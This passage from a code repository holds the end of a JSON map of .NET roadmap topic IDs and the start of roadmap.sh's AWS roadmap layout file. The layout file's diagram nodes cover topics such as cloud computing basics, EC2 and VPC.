\"2k-rGuhYTTAR9XN3aDAnW\",\n  \"microservices:yarp\": \"2axfolu26P8XwxMxgMaS3\",\n  \"microservices:kubernetes\": \"02rtFStTeIm8prNskxaUN\",\n  \"microservices:dapr\": \"IHY9uL3dzYmf2D2wWgIh-\",\n  \"microservices:orleans\": \"XKsLqDDco5OXKURCcWAmv\",\n  \"microservices:steel-toe\": \"s8evqe2MireS1UhxoXrd1\",\n  \"ci-cd\": \"KIFmahcNiSo2NGoLtAyRR\",\n  \"ci-cd:github-actions\": \"0-PLMXGlRyRzTk-EjXMs2\",\n  \"ci-cd:azure-pipelines\": \"_-GQNpsb7KZw76hNNOq3h\",\n  \"ci-cd:circle-ci\": \"KyGjXgG6JFo42qOV0wqfB\",\n  \"client-side-libraries:blazor\": \"4iD_hDtgJ15IlJGxiO-E8\",\n  \"template-engines\": \"C85aJvrzj6rP2Hmfj9uPB\",\n  \"template-engines:razor\": \"nUE2-egUMNFQoPVrVRFPl\",\n  \"template-engines:scriban\": \"dWB5OCvWVYkD30Op_dMwy\",\n  \"template-engines:fluid\": \"ZaOhWWDgVxrn0hbesJ7xT\",\n  \"good-to-know-libraries:mediatr\": \"cc0UNQwbDlySue-CvpChR\",\n  \"good-to-know-libraries:fluent-validation\": \"sa0zXd8lpNs_SFQ2y-PY4\",\n  \"good-to-know-libraries:polly\": \"gQhiEpvx__70N1WbEHGYJ\",\n  \"good-to-know-libraries:nuke\": \"EsC1JwFOMOlQVelpmxISh\",\n  \"good-to-know-libraries:benchmark-net\": \"9LEVN-uVEwxJooEiB9ApK\"\n}"
  },
  {
    "path": "src/data/roadmaps/aws/aws.json",
    "content": "{\n  \"nodes\": [\n    {\n      \"id\": \"u5W9rjZ51CyCfHMTIVTcc\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 808.7221880336245,\n        \"y\": 2520.53848005074\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.75,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"style\": {},\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 106\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 808.7221880336245,\n        \"y\": 2520.53848005074\n      }\n    },\n    {\n      \"id\": \"iCGZZEjzuSoRSpGci8suT\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 372.9167081706737,\n        \"y\": 2650.53848005074\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.5\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 239\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 372.9167081706737,\n        \"y\": 2650.53848005074\n      }\n    },\n    {\n      \"id\": \"MemQxgqsWqGJDW8BxaP24\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -150.93031923911371,\n        \"y\": 2032.172339894668\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 82\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -150.93031923911371,\n        \"y\": 2032.172339894668\n      }\n    },\n    {\n      \"id\": \"hgRXzlYPFrllRUv0hIUK-\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -150.93031923911371,\n        \"y\": 1537.150459128501\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.5\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 466\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -150.93031923911371,\n        \"y\": 1537.150459128501\n      }\n    },\n    {\n      \"id\": \"4R86nymyWsF0bD5YTb7XB\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -150.93031923911371,\n        \"y\": 1445.150459128501\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"MemQxgqsWqGJDW8BxaP24\"\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 92\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -150.93031923911371,\n        \"y\": 1445.150459128501\n      }\n    },\n    {\n      \"id\": \"RdhSdx2ZwScg4yimdWUU4\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 306.5186476554692,\n        \"y\": 1736.9571899134405\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 150,\n      \"height\": 100,\n      \"style\": {\n        \"width\": 150,\n        \"height\": 100\n      },\n      \"measured\": {\n        \"width\": 240,\n        \"height\": 140\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 306.5186476554692,\n        \"y\": 1736.9571899134405\n      }\n    },\n    {\n      \"id\": \"fKiJjwS6CgzPXi082hG2u\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 803.7236494728579,\n        \"y\": 1520.4542262126417\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 101\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 803.7236494728579,\n        \"y\": 1520.4542262126417\n      }\n    },\n    {\n      \"id\": \"PpuIbv7DvcoSOCHewWKZX\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 518.6120690194773,\n        \"y\": 729.9677567191619\n      },\n      \"width\": 185,\n      \"height\": 172,\n      \"style\": {\n        \"width\": 185,\n        \"height\": 172\n      },\n      \"selected\": false,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"measured\": {\n        \"width\": 185,\n        \"height\": 172\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"positionAbsolute\": {\n        \"x\": 518.6120690194773,\n        \"y\": 729.9677567191619\n      }\n    },\n    {\n      \"id\": \"UUo6bRfaJCrawShMMcduC\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 586.6608611851664,\n        \"y\": 265.90074822234897\n      },\n      \"width\": 290,\n      \"height\": 224,\n      \"style\": {\n        \"width\": 290,\n        \"height\": 224\n      },\n      \"selected\": false,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"measured\": {\n        \"width\": 304,\n        \"height\": 230\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"positionAbsolute\": {\n        \"x\": 586.6608611851664,\n        \"y\": 265.90074822234897\n      }\n    },\n    {\n      \"id\": \"c58fcsthBlVfzfr-MHdpF\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 333.5696807608863,\n        \"y\": -136.01175492596462\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 66,\n      \"positionAbsolute\": {\n        \"x\": 333.5696807608863,\n        \"y\": -136.01175492596462\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 66\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 66\n      }\n    },\n    {\n      \"id\": \"Ji35JsKgUQXN4DJGEgTAC\",\n      \"type\": \"title\",\n      \"position\": {\n        \"x\": 295.0696807608863,\n        \"y\": -70.01175492596462\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"AWS\",\n        \"style\": {\n          \"fontSize\": 28,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": 295.0696807608863,\n        \"y\": -70.01175492596462\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 98,\n        \"height\": 68\n      },\n      \"width\": 98,\n      \"height\": 68\n    },\n    {\n      \"id\": \"kpF15oUmlUmk1qVGEBB7Y\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 586.6608611851664,\n        \"y\": -157.9615199492601\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Find the interactive version of this roadmap and more roadmaps at\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#FFFFFf\"\n        },\n        \"oldId\": \"yHmHXymPNWwu8p1vvqD3o\"\n      },\n      \"zIndex\": 999,\n      \"width\": 355,\n      \"height\": 143,\n      \"positionAbsolute\": {\n        \"x\": 586.6608611851664,\n        \"y\": -157.9615199492601\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 355,\n        \"height\": 143\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 304,\n        \"height\": 151\n      }\n    },\n    {\n      \"id\": \"if9eTna5NRTMStVwpSwDP\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 604.6608611851664,\n        \"y\": -74.21009411770233\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"roadmap.sh\",\n        \"href\": \"https://roadmap.sh\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"2zqZkyVgigifcRS1H7F_b\"\n      },\n      \"zIndex\": 999,\n      \"width\": 330,\n      \"height\": 49,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 330,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 604.6608611851664,\n        \"y\": -74.21009411770233\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 269,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Py9nst2FDJ1_hoXeX_qSF\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 245.06968076088629,\n        \"y\": 174.90074822234897\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Introduction\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"jrH1qE6EnFXL4fTyYU8gR\"\n      },\n      \"zIndex\": 999,\n      \"width\": 136,\n      \"height\": 48,\n      \"measured\": {\n        \"width\": 198,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 245.06968076088629,\n        \"y\": 174.90074822234897\n      }\n    },\n    {\n      \"id\": \"74JxgfJ_1qmVNZ_QRp9Ne\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 586.6608611851664,\n        \"y\": 104.75601320780885\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"What is Cloud Computing?\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 246,\n      \"height\": 48,\n      \"measured\": {\n        \"width\": 304,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 586.6608611851664,\n        \"y\": 104.75601320780885\n      }\n    },\n    {\n      \"id\": \"i4ijY3T5gLgNz0XqRipXe\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 586.6608611851664,\n        \"y\": 157.75601320780885\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"IaaS vs PaaS vs SaaS\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"43drPbTwPqJQPyzwYUdBT\"\n      },\n      \"zIndex\": 999,\n      \"width\": 210,\n      \"height\": 48,\n      \"measured\": {\n        \"width\": 304,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 586.6608611851664,\n        \"y\": 157.75601320780885\n      }\n    },\n    {\n      \"id\": \"3hatcMVLDbMuz73uTx-9P\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 586.6608611851664,\n        \"y\": 210.75601320780885\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Public vs Private vs Hybrid Cloud\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"43drPbTwPqJQPyzwYUdBT\"\n      },\n      \"zIndex\": 999,\n      \"width\": 294,\n      \"height\": 48,\n      \"measured\": {\n        \"width\": 304,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 586.6608611851664,\n        \"y\": 210.75601320780885\n      }\n    },\n    {\n      \"id\": \"Wm2VPi1Tn_Y7dqPowny69\",\n      \"type\": \"linksgroup\",\n      \"position\": {\n        \"x\": -191.93031923911371,\n        \"y\": -157.9615199492601\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"links\": [\n          {\n            \"id\": \"29I4Uf1Z74ihhM4cpfaP7\",\n            \"label\": \"Kubernetes Roadmap\",\n            \"href\": \"\",\n            \"url\": \"https://roadmap.sh/kubernetes\"\n          },\n          {\n            \"id\": \"9IzkW8kJ-4TiqEuoeyteP\",\n            \"label\": \"DevOps Roadmap\",\n            \"url\": \"https://roadmap.sh/devops\"\n          },\n          {\n            \"id\": \"_8i-FXkPUKRgODhChxjZD\",\n            \"label\": \"Backend Roadmap\",\n            \"url\": \"https://roadmap.sh/backend\"\n          }\n        ]\n      },\n      \"zIndex\": 999,\n      \"width\": 352,\n      \"height\": 96,\n      \"positionAbsolute\": {\n        \"x\": -191.93031923911371,\n        \"y\": -157.9615199492601\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 352,\n        \"height\": 96\n      },\n      \"measured\": {\n        \"width\": 333,\n        \"height\": 127\n      },\n      \"resizing\": false\n    },\n    {\n      \"id\": \"z9R1BWUGalmnw0E7QqiW6\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 601.6608611851664,\n        \"y\": 326.90074822234897\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"AWS Global Infrastructure\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"eKuC7VmkGVYFnbC2Rvn8D\"\n      },\n      \"zIndex\": 999,\n      \"width\": 274,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 274,\n        \"height\": 49\n      },\n      \"measured\": {\n        \"width\": 274,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 601.6608611851664,\n        \"y\": 326.90074822234897\n      }\n    },\n    {\n      \"id\": \"0flGtxZmxQKxO3c3sguwp\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 601.6608611851664,\n        \"y\": 379.90074822234897\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Shared Responsibility Model\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"eKuC7VmkGVYFnbC2Rvn8D\"\n      },\n      \"zIndex\": 999,\n      \"width\": 274,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 274,\n        \"height\": 49\n      },\n      \"measured\": {\n        \"width\": 274,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 601.6608611851664,\n        \"y\": 379.90074822234897\n      }\n    },\n    {\n      \"id\": \"eKuC7VmkGVYFnbC2Rvn8D\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 601.6608611851664,\n        \"y\": 432.90074822234897\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Well Architected Framework\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 274,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 274,\n        \"height\": 49\n      },\n      \"measured\": {\n        \"width\": 274,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 601.6608611851664,\n        \"y\": 432.90074822234897\n      }\n    },\n    {\n      \"id\": \"Dg1v9TV-wGSNLPfAals_y\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 586.6608611851664,\n        \"y\": 265.90074822234897\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Introduction to AWS\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"b\"\n        }\n      },\n      \"zIndex\": 999,\n      \"measured\": {\n        \"width\": 304,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"width\": 274,\n      \"height\": 49,\n      \"resizing\": false,\n      \"dragging\": false,\n      \"style\": {\n        \"height\": 49,\n        \"width\": 274\n      },\n      \"positionAbsolute\": {\n        \"x\": 586.6608611851664,\n        \"y\": 265.90074822234897\n      }\n    },\n    {\n      \"id\": \"kcBGBLPuZkuI-Omv8mOe7\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 198.06968076088629,\n        \"y\": 336.90074822234897\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Start with Essential Services\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"left\",\n          \"justifyContent\": \"flex-start\",\n          \"padding\": 16\n        }\n      },\n      \"zIndex\": 999,\n      \"measured\": {\n        \"width\": 292,\n        \"height\": 67\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"width\": 291,\n      \"height\": 66,\n      \"positionAbsolute\": {\n        \"x\": 198.06968076088629,\n        \"y\": 336.90074822234897\n      }\n    },\n    {\n      \"id\": \"cL7vis8H5L2vv6LqJ5wvC\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 238.06968076088629,\n        \"y\": 560.900748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"EC2\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"741vsAPTXJLVUlazFg0q4\"\n      },\n      \"zIndex\": 999,\n      \"width\": 77,\n      \"height\": 48,\n      \"measured\": {\n        \"width\": 212,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 238.06968076088629,\n        \"y\": 560.900748222349\n      }\n    },\n    {\n      \"id\": \"VHD2ISW9WoSWjp8Hh6Zft\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 238.06968076088629,\n        \"y\": 674.900748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Instance Types\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"7nI202hX41mI5ms9LZonh\"\n      },\n      \"zIndex\": 999,\n      \"width\": 198,\n      \"height\": 48,\n      \"style\": {\n        \"width\": 198\n      },\n      \"measured\": {\n        \"width\": 212,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 238.06968076088629,\n        \"y\": 674.900748222349\n      }\n    },\n    {\n      \"id\": \"_U2bKjxIrAAk7TMrPttpb\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 238.06968076088629,\n        \"y\": 727.900748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"CPU Credits\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"7nI202hX41mI5ms9LZonh\"\n      },\n      \"zIndex\": 999,\n      \"width\": 198,\n      \"height\": 48,\n      \"style\": {\n        \"width\": 198\n      },\n      \"measured\": {\n        \"width\": 212,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 238.06968076088629,\n        \"y\": 727.900748222349\n      }\n    },\n    {\n      \"id\": \"A0u7CJwj5ULAMiAm12vZI\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 238.06968076088629,\n        \"y\": 780.900748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Storage / Volumes\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"7nI202hX41mI5ms9LZonh\"\n      },\n      \"zIndex\": 999,\n      \"width\": 198,\n      \"height\": 48,\n      \"style\": {\n        \"width\": 198\n      },\n      \"measured\": {\n        \"width\": 212,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 238.06968076088629,\n        \"y\": 780.900748222349\n      }\n    },\n    {\n      \"id\": \"wFT-fddGn__DRoqG0joFk\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 238.06968076088629,\n        \"y\": 833.900748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Keypairs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"7nI202hX41mI5ms9LZonh\"\n      },\n      \"zIndex\": 999,\n      \"width\": 198,\n      \"height\": 48,\n      \"style\": {\n        \"width\": 198\n      },\n      \"measured\": {\n        \"width\": 212,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 238.06968076088629,\n        \"y\": 833.900748222349\n      }\n    },\n    {\n      \"id\": \"DCvkZSp25pjaimG0THLTu\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 238.06968076088629,\n        \"y\": 886.900748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Elastic IP\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"7nI202hX41mI5ms9LZonh\"\n      },\n      \"zIndex\": 999,\n      \"width\": 198,\n      \"height\": 48,\n      \"style\": {\n        \"width\": 198\n      },\n      \"measured\": {\n        \"width\": 212,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 238.06968076088629,\n        \"y\": 886.900748222349\n      }\n    },\n    {\n      \"id\": \"ZKjjgXZ89zV2atWcSal-s\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 238.06968076088629,\n        \"y\": 939.900748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"User Data Scripts\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"7nI202hX41mI5ms9LZonh\"\n      },\n      \"zIndex\": 999,\n      \"width\": 198,\n      \"height\": 48,\n      \"style\": {\n        \"width\": 198\n      },\n      \"measured\": {\n        \"width\": 212,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 238.06968076088629,\n        \"y\": 939.900748222349\n      }\n    },\n    {\n      \"id\": \"8v9T6Y6JC7qaqIgkbT-nr\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 238.06968076088629,\n        \"y\": 992.900748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Purchasing Options\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"7nI202hX41mI5ms9LZonh\"\n      },\n      \"zIndex\": 999,\n      \"width\": 198,\n      \"height\": 48,\n      \"style\": {\n        \"width\": 198\n      },\n      \"measured\": {\n        \"width\": 212,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 238.06968076088629,\n        \"y\": 992.900748222349\n      }\n    },\n    {\n      \"id\": \"Sv2aT8eI1RvJhvoKVYQEX\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 535.8556423935701,\n        \"y\": 560.900748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"VPC\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"741vsAPTXJLVUlazFg0q4\"\n      },\n      \"zIndex\": 999,\n      \"width\": 77,\n      \"height\": 48,\n      \"measured\": {\n        \"width\": 151,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 535.8556423935701,\n        \"y\": 560.900748222349\n      }\n    